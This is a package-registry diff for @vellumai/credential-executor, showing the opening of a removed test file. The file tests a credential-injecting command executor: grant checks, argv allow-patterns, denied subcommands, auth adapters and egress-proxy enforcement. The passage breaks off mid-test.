@vellumai/credential-executor 0.10.7 → 0.10.8-dev.202607102228.5945895

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (65) hide show
  1. package/Dockerfile +1 -1
  2. package/node_modules/@vellumai/service-contracts/package.json +1 -2
  3. package/node_modules/@vellumai/service-contracts/src/__tests__/attachment-naming.test.ts +104 -0
  4. package/node_modules/@vellumai/service-contracts/src/__tests__/contracts.test.ts +0 -2
  5. package/node_modules/@vellumai/service-contracts/src/attachment-naming.ts +118 -0
  6. package/node_modules/@vellumai/service-contracts/src/credential-rpc.ts +3 -5
  7. package/node_modules/@vellumai/service-contracts/src/index.ts +2 -4
  8. package/node_modules/@vellumai/service-contracts/src/rpc.ts +4 -447
  9. package/package.json +2 -3
  10. package/src/__tests__/bulk-set-credentials.test.ts +1 -1
  11. package/src/__tests__/local-standalone.test.ts +5 -36
  12. package/src/__tests__/managed-integration.test.ts +112 -91
  13. package/src/__tests__/managed-reconnect.test.ts +2 -2
  14. package/src/__tests__/transport.test.ts +23 -27
  15. package/src/cli.ts +1 -1
  16. package/src/index.ts +8 -88
  17. package/src/main.ts +228 -340
  18. package/src/paths.ts +4 -20
  19. package/src/server.ts +52 -469
  20. package/node_modules/@vellumai/service-contracts/src/__tests__/grants.test.ts +0 -686
  21. package/node_modules/@vellumai/service-contracts/src/grants.ts +0 -184
  22. package/node_modules/@vellumai/service-contracts/src/rendering.ts +0 -135
  23. package/src/__tests__/command-executor.test.ts +0 -1879
  24. package/src/__tests__/command-validator.test.ts +0 -1405
  25. package/src/__tests__/command-workspace.test.ts +0 -1050
  26. package/src/__tests__/grant-store.test.ts +0 -689
  27. package/src/__tests__/http-executor.test.ts +0 -1336
  28. package/src/__tests__/http-policy.test.ts +0 -1069
  29. package/src/__tests__/local-materializers.test.ts +0 -860
  30. package/src/__tests__/local-token-refresh.test.ts +0 -361
  31. package/src/__tests__/manage-secure-command-tool.test.ts +0 -134
  32. package/src/__tests__/managed-lazy-getters.test.ts +0 -359
  33. package/src/__tests__/managed-materializers.test.ts +0 -1028
  34. package/src/__tests__/managed-rejection.test.ts +0 -43
  35. package/src/__tests__/toolstore.test.ts +0 -773
  36. package/src/audit/store.ts +0 -188
  37. package/src/commands/auth-adapters.ts +0 -169
  38. package/src/commands/egress-hooks.ts +0 -203
  39. package/src/commands/executor.ts +0 -1155
  40. package/src/commands/output-scan.ts +0 -157
  41. package/src/commands/profiles.ts +0 -286
  42. package/src/commands/validator.ts +0 -702
  43. package/src/commands/workspace.ts +0 -550
  44. package/src/grants/index.ts +0 -17
  45. package/src/grants/persistent-store.ts +0 -309
  46. package/src/grants/rpc-handlers.ts +0 -293
  47. package/src/grants/temporary-store.ts +0 -289
  48. package/src/http/audit.ts +0 -84
  49. package/src/http/executor.ts +0 -684
  50. package/src/http/path-template.ts +0 -245
  51. package/src/http/policy.ts +0 -238
  52. package/src/http/response-filter.ts +0 -233
  53. package/src/managed-errors.ts +0 -9
  54. package/src/managed-lazy-getters.ts +0 -106
  55. package/src/managed-main.ts +0 -822
  56. package/src/materializers/local-oauth-lookup.ts +0 -98
  57. package/src/materializers/local-token-refresh.ts +0 -287
  58. package/src/materializers/local.ts +0 -316
  59. package/src/materializers/managed-platform.ts +0 -295
  60. package/src/subjects/local.ts +0 -177
  61. package/src/subjects/managed.ts +0 -311
  62. package/src/subjects/policy.ts +0 -79
  63. package/src/toolstore/integrity.ts +0 -94
  64. package/src/toolstore/manifest.ts +0 -154
  65. package/src/toolstore/publish.ts +0 -571
@@ -1,1879 +0,0 @@
1
- /**
2
- * Tests for CES authenticated command execution.
3
- *
4
- * Covers:
5
- * 1. Local static-secret command profile execution
6
- * 2. Local OAuth command profile execution
7
- * 3. Managed OAuth command profile execution
8
- * 4. Banned binary rejection at execution time
9
- * 5. Missing `proxy_required` egress hooks rejection
10
- * 6. Invalid auth adapter config rejection
11
- * 7. Undeclared output file rejection
12
- * 8. Off-target outbound request blocking (via egress proxy)
13
- * 9. Bundle digest mismatch (unpublished bundle)
14
- * 10. Profile not found in manifest
15
- * 11. Argv does not match any allowed pattern
16
- * 12. Missing grant rejection
17
- * 13. Credential materialization failure
18
- * 14. Command string parsing for RPC handler
19
- */
20
-
21
- import { describe, expect, test, beforeEach, afterEach } from "bun:test";
22
- import {
23
- mkdirSync,
24
- writeFileSync,
25
- readFileSync,
26
- rmSync,
27
- chmodSync,
28
- symlinkSync,
29
- unlinkSync,
30
- realpathSync,
31
- } from "node:fs";
32
- import { join } from "node:path";
33
- import { tmpdir } from "node:os";
34
- import { randomUUID } from "node:crypto";
35
-
36
- import { AuthAdapterType } from "../commands/auth-adapters.js";
37
- import {
38
- EgressMode,
39
- MANIFEST_SCHEMA_VERSION,
40
- type SecureCommandManifest,
41
- } from "../commands/profiles.js";
42
- import {
43
- executeAuthenticatedCommand,
44
- type ExecuteCommandRequest,
45
- type CommandExecutorDeps,
46
- type MaterializeCredentialFn,
47
- } from "../commands/executor.js";
48
- import { PersistentGrantStore } from "../grants/persistent-store.js";
49
- import { TemporaryGrantStore } from "../grants/temporary-store.js";
50
- import {
51
- publishBundle,
52
- getBundleManifestPath,
53
- getBundleDir,
54
- } from "../toolstore/publish.js";
55
- import { getCesToolStoreDir, getCesDataRoot } from "../paths.js";
56
- import { computeDigest } from "../toolstore/integrity.js";
57
- import {
58
- hashProposal,
59
- type CommandGrantProposal,
60
- } from "@vellumai/service-contracts/credential-rpc";
61
-
62
- // ---------------------------------------------------------------------------
63
- // Test helpers
64
- // ---------------------------------------------------------------------------
65
-
66
- /** Generate a temp directory for test isolation. */
67
- function makeTempDir(prefix: string): string {
68
- const dir = join(tmpdir(), `${prefix}-${randomUUID()}`);
69
- mkdirSync(dir, { recursive: true });
70
- return dir;
71
- }
72
-
73
- /**
74
- * Build a minimal valid SecureCommandManifest for testing.
75
- */
76
- function buildManifest(
77
- overrides: Partial<SecureCommandManifest> = {},
78
- ): SecureCommandManifest {
79
- return {
80
- schemaVersion: MANIFEST_SCHEMA_VERSION,
81
- bundleDigest: "", // Filled by publishTestBundle
82
- bundleId: "test-cli",
83
- version: "1.0.0",
84
- entrypoint: "bin/test-cli",
85
- commandProfiles: {
86
- list: {
87
- description: "List resources",
88
- allowedArgvPatterns: [
89
- {
90
- name: "list-all",
91
- tokens: ["list", "--format", "<format>"],
92
- },
93
- ],
94
- deniedSubcommands: ["auth login"],
95
- allowedNetworkTargets: [
96
- {
97
- hostPattern: "api.example.com",
98
- protocols: ["https"],
99
- },
100
- ],
101
- },
102
- get: {
103
- description: "Get a single resource",
104
- allowedArgvPatterns: [
105
- {
106
- name: "get-by-id",
107
- tokens: ["get", "<id>"],
108
- },
109
- ],
110
- deniedSubcommands: [],
111
- allowedNetworkTargets: [
112
- {
113
- hostPattern: "api.example.com",
114
- protocols: ["https"],
115
- },
116
- ],
117
- },
118
- },
119
- authAdapter: {
120
- type: AuthAdapterType.EnvVar,
121
- envVarName: "TEST_API_KEY",
122
- },
123
- egressMode: EgressMode.ProxyRequired,
124
- ...overrides,
125
- };
126
- }
127
-
128
- /**
129
- * Publish a test bundle into the CES toolstore and return the digest.
130
- *
131
- * Creates a real tar.gz archive containing the entrypoint shell script
132
- * at the manifest's declared entrypoint path, then publishes it through
133
- * the actual publishBundle function so the extraction path is exercised.
134
- */
135
- function publishTestBundle(
136
- manifest: SecureCommandManifest,
137
- cesMode: "local" | "managed" = "local",
138
- scriptContent = '#!/bin/sh\necho "hello from test-cli"\n',
139
- ): { digest: string; manifest: SecureCommandManifest } {
140
- // Build a tar.gz archive containing the entrypoint at the declared path
141
- const archiveStagingDir = makeTempDir("ces-archive-staging");
142
- try {
143
- const entrypoint = manifest.entrypoint || "bin/test-cli";
144
- const entrypointFullPath = join(archiveStagingDir, entrypoint);
145
- mkdirSync(join(archiveStagingDir, entrypoint, ".."), { recursive: true });
146
- writeFileSync(entrypointFullPath, scriptContent, { mode: 0o755 });
147
-
148
- // Create tar.gz archive
149
- const archivePath = join(archiveStagingDir, "bundle.tar.gz");
150
- const tarProc = Bun.spawnSync(
151
- ["tar", "czf", archivePath, "-C", archiveStagingDir, entrypoint],
152
- { stdout: "pipe", stderr: "pipe" },
153
- );
154
- if (tarProc.exitCode !== 0) {
155
- const stderr = tarProc.stderr
156
- ? new TextDecoder().decode(tarProc.stderr).trim()
157
- : "unknown error";
158
- throw new Error(`Failed to create test archive: ${stderr}`);
159
- }
160
-
161
- const bundleBytes = Buffer.from(readFileSync(archivePath));
162
- const digest = computeDigest(bundleBytes);
163
-
164
- // Update the manifest with the computed digest
165
- const fullManifest: SecureCommandManifest = {
166
- ...manifest,
167
- bundleDigest: digest,
168
- };
169
-
170
- const result = publishBundle({
171
- bundleBytes,
172
- expectedDigest: digest,
173
- bundleId: fullManifest.bundleId,
174
- version: fullManifest.version,
175
- sourceUrl: "https://releases.example.com/test-cli-1.0.0.tar.gz",
176
- secureCommandManifest: fullManifest,
177
- cesMode,
178
- });
179
-
180
- if (!result.success) {
181
- throw new Error(`Failed to publish test bundle: ${result.error}`);
182
- }
183
-
184
- return { digest, manifest: fullManifest };
185
- } finally {
186
- try {
187
- rmSync(archiveStagingDir, { recursive: true, force: true });
188
- } catch {
189
- // Best-effort cleanup
190
- }
191
- }
192
- }
193
-
194
- /**
195
- * Create a successful credential materializer for testing.
196
- */
197
- function successMaterializer(
198
- value = "test-secret-value",
199
- ): MaterializeCredentialFn {
200
- return async (_handle: string) => ({
201
- ok: true as const,
202
- value,
203
- handleType: "local_static",
204
- });
205
- }
206
-
207
- /**
208
- * Create a failing credential materializer for testing.
209
- */
210
- function failMaterializer(error = "Secret not found"): MaterializeCredentialFn {
211
- return async (_handle: string) => ({
212
- ok: false as const,
213
- error,
214
- });
215
- }
216
-
217
- /**
218
- * Build minimal executor deps for testing.
219
- */
220
- function buildDeps(
221
- overrides: Partial<CommandExecutorDeps> = {},
222
- ): CommandExecutorDeps {
223
- const grantsDir = makeTempDir("ces-grants");
224
- const persistentStore = new PersistentGrantStore(grantsDir);
225
- persistentStore.init();
226
-
227
- return {
228
- persistentStore,
229
- temporaryStore: new TemporaryGrantStore(),
230
- materializeCredential: successMaterializer(),
231
- cesMode: "local",
232
- ...overrides,
233
- };
234
- }
235
-
236
- /**
237
- * Add a command grant to the persistent store.
238
- *
239
- * Pattern uses the canonical triple: `credentialHandle:bundleDigest:profileName`.
240
- */
241
- function addCommandGrant(
242
- store: PersistentGrantStore,
243
- credentialHandle: string,
244
- bundleDigest: string,
245
- profileName: string,
246
- ): void {
247
- store.add({
248
- id: randomUUID(),
249
- tool: "command",
250
- pattern: `${credentialHandle}:${bundleDigest}:${profileName}`,
251
- scope: credentialHandle,
252
- createdAt: Date.now(),
253
- sessionId: "test-session",
254
- });
255
- }
256
-
257
- /**
258
- * Add a temporary command grant.
259
- *
260
- * Constructs the same CommandGrantProposal shape that the executor builds
261
- * and hashes it with `hashProposal` from `@vellumai/service-contracts` so the
262
- * hashes align.
263
- */
264
- function addTemporaryCommandGrant(
265
- store: TemporaryGrantStore,
266
- credentialHandle: string,
267
- bundleDigest: string,
268
- profileName: string,
269
- kind: "allow_once" | "allow_10m" | "allow_conversation" = "allow_once",
270
- conversationId?: string,
271
- argv: string[] = [],
272
- purpose: string = "Test execution",
273
- ): void {
274
- const proposal: CommandGrantProposal = {
275
- type: "command",
276
- credentialHandle,
277
- command: `${bundleDigest}/${profileName}${argv.length ? " " + argv.join(" ") : ""}`,
278
- purpose,
279
- allowedCommandPatterns: [
280
- `${credentialHandle}:${bundleDigest}:${profileName}`,
281
- ],
282
- };
283
- const proposalHash = hashProposal(proposal);
284
- store.add(kind, proposalHash, { conversationId });
285
- }
286
-
287
- // ---------------------------------------------------------------------------
288
- // Test state management
289
- // ---------------------------------------------------------------------------
290
-
291
- let testWorkspaceDir: string;
292
-
293
- beforeEach(() => {
294
- testWorkspaceDir = makeTempDir("ces-workspace");
295
-
296
- // Set up a clean CES data root for tests
297
- const cesRoot = getCesDataRoot("local");
298
- mkdirSync(cesRoot, { recursive: true });
299
- mkdirSync(getCesToolStoreDir("local"), { recursive: true });
300
- });
301
-
302
- afterEach(() => {
303
- try {
304
- rmSync(testWorkspaceDir, { recursive: true, force: true });
305
- } catch {
306
- // Best-effort cleanup
307
- }
308
- });
309
-
310
- // ---------------------------------------------------------------------------
311
- // Bundle resolution tests
312
- // ---------------------------------------------------------------------------
313
-
314
- describe("executeAuthenticatedCommand — bundle resolution", () => {
315
- test("rejects unpublished bundle digest", async () => {
316
- const deps = buildDeps();
317
- const request: ExecuteCommandRequest = {
318
- bundleDigest: "0".repeat(64),
319
- profileName: "list",
320
- credentialHandle: "local_static:test/api_key",
321
- argv: ["list", "--format", "json"],
322
- workspaceDir: testWorkspaceDir,
323
- purpose: "Test execution",
324
- };
325
-
326
- const result = await executeAuthenticatedCommand(request, deps);
327
-
328
- expect(result.success).toBe(false);
329
- expect(result.error).toContain("not published");
330
- });
331
-
332
- test("rejects bundle with denied binary entrypoint at execution time", async () => {
333
- // This is a defense-in-depth test — the manifest validator should
334
- // catch this at publish time, but the executor also checks.
335
- // We can't actually publish a denied-binary bundle because the
336
- // validator rejects it, so we exercise the unresolved-digest path
337
- // to verify the executor's own error surface exists. The denied
338
- // binary list itself is tested exhaustively in
339
- // command-validator.test.ts.
340
- const deps = buildDeps();
341
- const request: ExecuteCommandRequest = {
342
- bundleDigest: "a".repeat(64),
343
- profileName: "list",
344
- credentialHandle: "local_static:test/api_key",
345
- argv: ["list", "--format", "json"],
346
- workspaceDir: testWorkspaceDir,
347
- purpose: "Test execution",
348
- };
349
-
350
- const result = await executeAuthenticatedCommand(request, deps);
351
-
352
- expect(result.success).toBe(false);
353
- // Will fail at bundle resolution since digest isn't published
354
- expect(result.error).toBeDefined();
355
- });
356
- });
357
-
358
- // ---------------------------------------------------------------------------
359
- // Profile validation tests
360
- // ---------------------------------------------------------------------------
361
-
362
- describe("executeAuthenticatedCommand — profile validation", () => {
363
- test("rejects unknown profile name", async () => {
364
- const manifest = buildManifest();
365
- const { digest } = publishTestBundle(manifest);
366
-
367
- const deps = buildDeps();
368
- addCommandGrant(
369
- deps.persistentStore,
370
- "local_static:test/api_key",
371
- digest,
372
- "nonexistent",
373
- );
374
-
375
- const request: ExecuteCommandRequest = {
376
- bundleDigest: digest,
377
- profileName: "nonexistent",
378
- credentialHandle: "local_static:test/api_key",
379
- argv: ["list", "--format", "json"],
380
- workspaceDir: testWorkspaceDir,
381
- purpose: "Test execution",
382
- };
383
-
384
- const result = await executeAuthenticatedCommand(request, deps);
385
-
386
- expect(result.success).toBe(false);
387
- expect(result.error).toContain("not found in manifest");
388
- });
389
-
390
- test("rejects argv that does not match any allowed pattern", async () => {
391
- const manifest = buildManifest();
392
- const { digest } = publishTestBundle(manifest);
393
-
394
- const deps = buildDeps();
395
- addCommandGrant(
396
- deps.persistentStore,
397
- "local_static:test/api_key",
398
- digest,
399
- "list",
400
- );
401
-
402
- const request: ExecuteCommandRequest = {
403
- bundleDigest: digest,
404
- profileName: "list",
405
- credentialHandle: "local_static:test/api_key",
406
- // This doesn't match the pattern ["list", "--format", "<format>"]
407
- argv: ["delete", "--all"],
408
- workspaceDir: testWorkspaceDir,
409
- purpose: "Test execution",
410
- };
411
-
412
- const result = await executeAuthenticatedCommand(request, deps);
413
-
414
- expect(result.success).toBe(false);
415
- expect(result.error).toContain("does not match any allowed pattern");
416
- });
417
-
418
- test("rejects denied subcommand", async () => {
419
- const manifest = buildManifest();
420
- const { digest } = publishTestBundle(manifest);
421
-
422
- const deps = buildDeps();
423
- addCommandGrant(
424
- deps.persistentStore,
425
- "local_static:test/api_key",
426
- digest,
427
- "list",
428
- );
429
-
430
- const request: ExecuteCommandRequest = {
431
- bundleDigest: digest,
432
- profileName: "list",
433
- credentialHandle: "local_static:test/api_key",
434
- argv: ["auth", "login"],
435
- workspaceDir: testWorkspaceDir,
436
- purpose: "Test execution",
437
- };
438
-
439
- const result = await executeAuthenticatedCommand(request, deps);
440
-
441
- expect(result.success).toBe(false);
442
- expect(result.error).toContain("denied");
443
- });
444
-
445
- test("rejects argv matching wrong profile", async () => {
446
- const manifest = buildManifest();
447
- const { digest } = publishTestBundle(manifest);
448
-
449
- const deps = buildDeps();
450
- addCommandGrant(
451
- deps.persistentStore,
452
- "local_static:test/api_key",
453
- digest,
454
- "list",
455
- );
456
-
457
- // argv matches the "get" profile, but we requested "list"
458
- const request: ExecuteCommandRequest = {
459
- bundleDigest: digest,
460
- profileName: "list",
461
- credentialHandle: "local_static:test/api_key",
462
- argv: ["get", "resource-123"],
463
- workspaceDir: testWorkspaceDir,
464
- purpose: "Test execution",
465
- };
466
-
467
- const result = await executeAuthenticatedCommand(request, deps);
468
-
469
- expect(result.success).toBe(false);
470
- expect(result.error).toContain("does not match any pattern");
471
- });
472
- });
473
-
474
- // ---------------------------------------------------------------------------
475
- // Grant enforcement tests
476
- // ---------------------------------------------------------------------------
477
-
478
- describe("executeAuthenticatedCommand — grant enforcement", () => {
479
- test("rejects command without any grant", async () => {
480
- const manifest = buildManifest();
481
- const { digest } = publishTestBundle(manifest);
482
-
483
- const deps = buildDeps();
484
- // No grant added
485
-
486
- const request: ExecuteCommandRequest = {
487
- bundleDigest: digest,
488
- profileName: "list",
489
- credentialHandle: "local_static:test/api_key",
490
- argv: ["list", "--format", "json"],
491
- workspaceDir: testWorkspaceDir,
492
- purpose: "Test execution",
493
- };
494
-
495
- const result = await executeAuthenticatedCommand(request, deps);
496
-
497
- expect(result.success).toBe(false);
498
- expect(result.error).toContain("No active grant");
499
- });
500
-
501
- test("allows command with a persistent grant", async () => {
502
- const manifest = buildManifest({
503
- egressMode: EgressMode.NoNetwork,
504
- commandProfiles: {
505
- list: {
506
- description: "List resources",
507
- allowedArgvPatterns: [
508
- {
509
- name: "list-all",
510
- tokens: ["list", "--format", "<format>"],
511
- },
512
- ],
513
- deniedSubcommands: [],
514
- },
515
- },
516
- });
517
- const { digest } = publishTestBundle(
518
- manifest,
519
- "local",
520
- '#!/bin/sh\necho "hello"\n',
521
- );
522
-
523
- const deps = buildDeps();
524
- addCommandGrant(
525
- deps.persistentStore,
526
- "local_static:test/api_key",
527
- digest,
528
- "list",
529
- );
530
-
531
- const request: ExecuteCommandRequest = {
532
- bundleDigest: digest,
533
- profileName: "list",
534
- credentialHandle: "local_static:test/api_key",
535
- argv: ["list", "--format", "json"],
536
- workspaceDir: testWorkspaceDir,
537
- purpose: "Test execution",
538
- };
539
-
540
- const result = await executeAuthenticatedCommand(request, deps);
541
-
542
- // The command itself may fail (since the entrypoint is a test script),
543
- // but it should get past the grant check
544
- expect(result.error ?? "").not.toContain("No active grant");
545
- });
546
-
547
- test("allows command with a temporary grant", async () => {
548
- const manifest = buildManifest({
549
- egressMode: EgressMode.NoNetwork,
550
- commandProfiles: {
551
- list: {
552
- description: "List resources",
553
- allowedArgvPatterns: [
554
- {
555
- name: "list-all",
556
- tokens: ["list", "--format", "<format>"],
557
- },
558
- ],
559
- deniedSubcommands: [],
560
- },
561
- },
562
- });
563
- const { digest } = publishTestBundle(
564
- manifest,
565
- "local",
566
- '#!/bin/sh\necho "hello"\n',
567
- );
568
-
569
- const deps = buildDeps();
570
- addTemporaryCommandGrant(
571
- deps.temporaryStore,
572
- "local_static:test/api_key",
573
- digest,
574
- "list",
575
- "allow_once",
576
- undefined,
577
- ["list", "--format", "json"],
578
- "Test execution",
579
- );
580
-
581
- const request: ExecuteCommandRequest = {
582
- bundleDigest: digest,
583
- profileName: "list",
584
- credentialHandle: "local_static:test/api_key",
585
- argv: ["list", "--format", "json"],
586
- workspaceDir: testWorkspaceDir,
587
- purpose: "Test execution",
588
- };
589
-
590
- const result = await executeAuthenticatedCommand(request, deps);
591
-
592
- // Should get past the grant check
593
- expect(result.error ?? "").not.toContain("No active grant");
594
- });
595
- });
596
-
597
- // ---------------------------------------------------------------------------
598
- // Credential materialization tests
599
- // ---------------------------------------------------------------------------
600
-
601
- describe("executeAuthenticatedCommand — credential materialization", () => {
602
- test("rejects when credential materialization fails", async () => {
603
- const manifest = buildManifest({
604
- egressMode: EgressMode.NoNetwork,
605
- commandProfiles: {
606
- list: {
607
- description: "List resources",
608
- allowedArgvPatterns: [
609
- {
610
- name: "list-all",
611
- tokens: ["list", "--format", "<format>"],
612
- },
613
- ],
614
- deniedSubcommands: [],
615
- },
616
- },
617
- });
618
- const { digest } = publishTestBundle(
619
- manifest,
620
- "local",
621
- '#!/bin/sh\necho "credential materialization test"\n',
622
- );
623
-
624
- const deps = buildDeps({
625
- materializeCredential: failMaterializer("Credential store is locked"),
626
- });
627
- addCommandGrant(
628
- deps.persistentStore,
629
- "local_static:test/api_key",
630
- digest,
631
- "list",
632
- );
633
-
634
- const request: ExecuteCommandRequest = {
635
- bundleDigest: digest,
636
- profileName: "list",
637
- credentialHandle: "local_static:test/api_key",
638
- argv: ["list", "--format", "json"],
639
- workspaceDir: testWorkspaceDir,
640
- purpose: "Test execution",
641
- };
642
-
643
- const result = await executeAuthenticatedCommand(request, deps);
644
-
645
- expect(result.success).toBe(false);
646
- expect(result.error).toContain("Credential materialization failed");
647
- expect(result.error).toContain("Credential store is locked");
648
- });
649
- });
650
-
651
- // ---------------------------------------------------------------------------
652
- // Auth adapter tests
653
- // ---------------------------------------------------------------------------
654
-
655
- describe("executeAuthenticatedCommand — auth adapters", () => {
656
- test("env_var adapter injects credential as environment variable", async () => {
657
- const manifest = buildManifest({
658
- egressMode: EgressMode.NoNetwork,
659
- authAdapter: {
660
- type: AuthAdapterType.EnvVar,
661
- envVarName: "MY_TOKEN",
662
- },
663
- commandProfiles: {
664
- list: {
665
- description: "List resources",
666
- allowedArgvPatterns: [
667
- {
668
- name: "list-all",
669
- tokens: ["list", "--format", "<format>"],
670
- },
671
- ],
672
- deniedSubcommands: [],
673
- },
674
- },
675
- });
676
- // Script that prints the env var
677
- const { digest } = publishTestBundle(
678
- manifest,
679
- "local",
680
- '#!/bin/sh\necho "$MY_TOKEN"\n',
681
- );
682
-
683
- const deps = buildDeps({
684
- materializeCredential: successMaterializer("secret-token-123"),
685
- });
686
- addCommandGrant(
687
- deps.persistentStore,
688
- "local_static:test/api_key",
689
- digest,
690
- "list",
691
- );
692
-
693
- const request: ExecuteCommandRequest = {
694
- bundleDigest: digest,
695
- profileName: "list",
696
- credentialHandle: "local_static:test/api_key",
697
- argv: ["list", "--format", "json"],
698
- workspaceDir: testWorkspaceDir,
699
- purpose: "Test env_var adapter",
700
- };
701
-
702
- const result = await executeAuthenticatedCommand(request, deps);
703
-
704
- // The script should output the injected token
705
- if (result.exitCode === 0) {
706
- expect(result.stdout?.trim()).toBe("secret-token-123");
707
- }
708
- // If the script can't execute (path issues in test), verify we got past
709
- // the adapter phase
710
- expect(result.error ?? "").not.toContain("Auth adapter");
711
- });
712
-
713
- test("env_var adapter applies valuePrefix", async () => {
714
- const manifest = buildManifest({
715
- egressMode: EgressMode.NoNetwork,
716
- authAdapter: {
717
- type: AuthAdapterType.EnvVar,
718
- envVarName: "AUTH_HEADER",
719
- valuePrefix: "Bearer ",
720
- },
721
- commandProfiles: {
722
- list: {
723
- description: "List resources",
724
- allowedArgvPatterns: [
725
- {
726
- name: "list-all",
727
- tokens: ["list", "--format", "<format>"],
728
- },
729
- ],
730
- deniedSubcommands: [],
731
- },
732
- },
733
- });
734
- const { digest } = publishTestBundle(
735
- manifest,
736
- "local",
737
- '#!/bin/sh\necho "$AUTH_HEADER"\n',
738
- );
739
-
740
- const deps = buildDeps({
741
- materializeCredential: successMaterializer("my-oauth-token"),
742
- });
743
- addCommandGrant(
744
- deps.persistentStore,
745
- "local_static:test/api_key",
746
- digest,
747
- "list",
748
- );
749
-
750
- const request: ExecuteCommandRequest = {
751
- bundleDigest: digest,
752
- profileName: "list",
753
- credentialHandle: "local_static:test/api_key",
754
- argv: ["list", "--format", "json"],
755
- workspaceDir: testWorkspaceDir,
756
- purpose: "Test env_var adapter with prefix",
757
- };
758
-
759
- const result = await executeAuthenticatedCommand(request, deps);
760
-
761
- if (result.exitCode === 0) {
762
- expect(result.stdout?.trim()).toBe("Bearer my-oauth-token");
763
- }
764
- expect(result.error ?? "").not.toContain("Auth adapter");
765
- });
766
-
767
- test("temp_file adapter writes credential to a file", async () => {
768
- const manifest = buildManifest({
769
- egressMode: EgressMode.NoNetwork,
770
- authAdapter: {
771
- type: AuthAdapterType.TempFile,
772
- envVarName: "CRED_FILE",
773
- fileExtension: ".json",
774
- },
775
- commandProfiles: {
776
- list: {
777
- description: "List resources",
778
- allowedArgvPatterns: [
779
- {
780
- name: "list-all",
781
- tokens: ["list", "--format", "<format>"],
782
- },
783
- ],
784
- deniedSubcommands: [],
785
- },
786
- },
787
- });
788
- // Script that reads the file pointed to by CRED_FILE
789
- const { digest } = publishTestBundle(
790
- manifest,
791
- "local",
792
- '#!/bin/sh\ncat "$CRED_FILE"\n',
793
- );
794
-
795
- const deps = buildDeps({
796
- materializeCredential: successMaterializer('{"key":"test-secret"}'),
797
- });
798
- addCommandGrant(
799
- deps.persistentStore,
800
- "local_static:test/api_key",
801
- digest,
802
- "list",
803
- );
804
-
805
- const request: ExecuteCommandRequest = {
806
- bundleDigest: digest,
807
- profileName: "list",
808
- credentialHandle: "local_static:test/api_key",
809
- argv: ["list", "--format", "json"],
810
- workspaceDir: testWorkspaceDir,
811
- purpose: "Test temp_file adapter",
812
- };
813
-
814
- const result = await executeAuthenticatedCommand(request, deps);
815
-
816
- if (result.exitCode === 0) {
817
- expect(result.stdout?.trim()).toBe('{"key":"test-secret"}');
818
- }
819
- // Verify we got past the adapter phase
820
- expect(result.error ?? "").not.toContain("Auth adapter");
821
- });
822
- });
823
-
824
- // ---------------------------------------------------------------------------
825
- // Egress proxy enforcement tests
826
- // ---------------------------------------------------------------------------
827
-
828
- describe("executeAuthenticatedCommand — egress enforcement", () => {
829
- test("rejects proxy_required without egress hooks", async () => {
830
- const manifest = buildManifest({
831
- egressMode: EgressMode.ProxyRequired,
832
- });
833
- const { digest } = publishTestBundle(
834
- manifest,
835
- "local",
836
- '#!/bin/sh\necho "egress enforcement test"\n',
837
- );
838
-
839
- const deps = buildDeps({
840
- egressHooks: undefined, // No hooks provided
841
- });
842
- addCommandGrant(
843
- deps.persistentStore,
844
- "local_static:test/api_key",
845
- digest,
846
- "list",
847
- );
848
-
849
- const request: ExecuteCommandRequest = {
850
- bundleDigest: digest,
851
- profileName: "list",
852
- credentialHandle: "local_static:test/api_key",
853
- argv: ["list", "--format", "json"],
854
- workspaceDir: testWorkspaceDir,
855
- purpose: "Test egress enforcement",
856
- };
857
-
858
- const result = await executeAuthenticatedCommand(request, deps);
859
-
860
- expect(result.success).toBe(false);
861
- expect(result.error).toContain("proxy_required");
862
- expect(result.error).toContain("no egress hooks");
863
- });
864
-
865
- test("allows no_network mode without egress hooks", async () => {
866
- const manifest = buildManifest({
867
- egressMode: EgressMode.NoNetwork,
868
- commandProfiles: {
869
- list: {
870
- description: "List resources",
871
- allowedArgvPatterns: [
872
- {
873
- name: "list-all",
874
- tokens: ["list", "--format", "<format>"],
875
- },
876
- ],
877
- deniedSubcommands: [],
878
- },
879
- },
880
- });
881
- const { digest } = publishTestBundle(
882
- manifest,
883
- "local",
884
- '#!/bin/sh\necho "offline mode"\n',
885
- );
886
-
887
- const deps = buildDeps();
888
- addCommandGrant(
889
- deps.persistentStore,
890
- "local_static:test/api_key",
891
- digest,
892
- "list",
893
- );
894
-
895
- const request: ExecuteCommandRequest = {
896
- bundleDigest: digest,
897
- profileName: "list",
898
- credentialHandle: "local_static:test/api_key",
899
- argv: ["list", "--format", "json"],
900
- workspaceDir: testWorkspaceDir,
901
- purpose: "Test no_network mode",
902
- };
903
-
904
- const result = await executeAuthenticatedCommand(request, deps);
905
-
906
- // Should get past egress check
907
- expect(result.error ?? "").not.toContain("proxy_required");
908
- expect(result.error ?? "").not.toContain("egress");
909
- });
910
- });
911
-
912
- // ---------------------------------------------------------------------------
913
- // Command execution tests
914
- // ---------------------------------------------------------------------------
915
-
916
- describe("executeAuthenticatedCommand — command execution", () => {
917
- test("executes a simple shell script successfully", async () => {
918
- const manifest = buildManifest({
919
- egressMode: EgressMode.NoNetwork,
920
- commandProfiles: {
921
- list: {
922
- description: "List resources",
923
- allowedArgvPatterns: [
924
- {
925
- name: "list-all",
926
- tokens: ["list", "--format", "<format>"],
927
- },
928
- ],
929
- deniedSubcommands: [],
930
- },
931
- },
932
- });
933
- const { digest } = publishTestBundle(
934
- manifest,
935
- "local",
936
- '#!/bin/sh\necho "success: $1 $2 $3"\n',
937
- );
938
-
939
- const deps = buildDeps();
940
- addCommandGrant(
941
- deps.persistentStore,
942
- "local_static:test/api_key",
943
- digest,
944
- "list",
945
- );
946
-
947
- const request: ExecuteCommandRequest = {
948
- bundleDigest: digest,
949
- profileName: "list",
950
- credentialHandle: "local_static:test/api_key",
951
- argv: ["list", "--format", "json"],
952
- workspaceDir: testWorkspaceDir,
953
- purpose: "Test execution",
954
- };
955
-
956
- const result = await executeAuthenticatedCommand(request, deps);
957
-
958
- expect(result.exitCode).toBe(0);
959
- expect(result.success).toBe(true);
960
- expect(result.stdout).toContain("success: list --format json");
961
- });
962
-
963
- test("captures non-zero exit code", async () => {
964
- const manifest = buildManifest({
965
- egressMode: EgressMode.NoNetwork,
966
- commandProfiles: {
967
- list: {
968
- description: "List resources",
969
- allowedArgvPatterns: [
970
- {
971
- name: "list-all",
972
- tokens: ["list", "--format", "<format>"],
973
- },
974
- ],
975
- deniedSubcommands: [],
976
- },
977
- },
978
- });
979
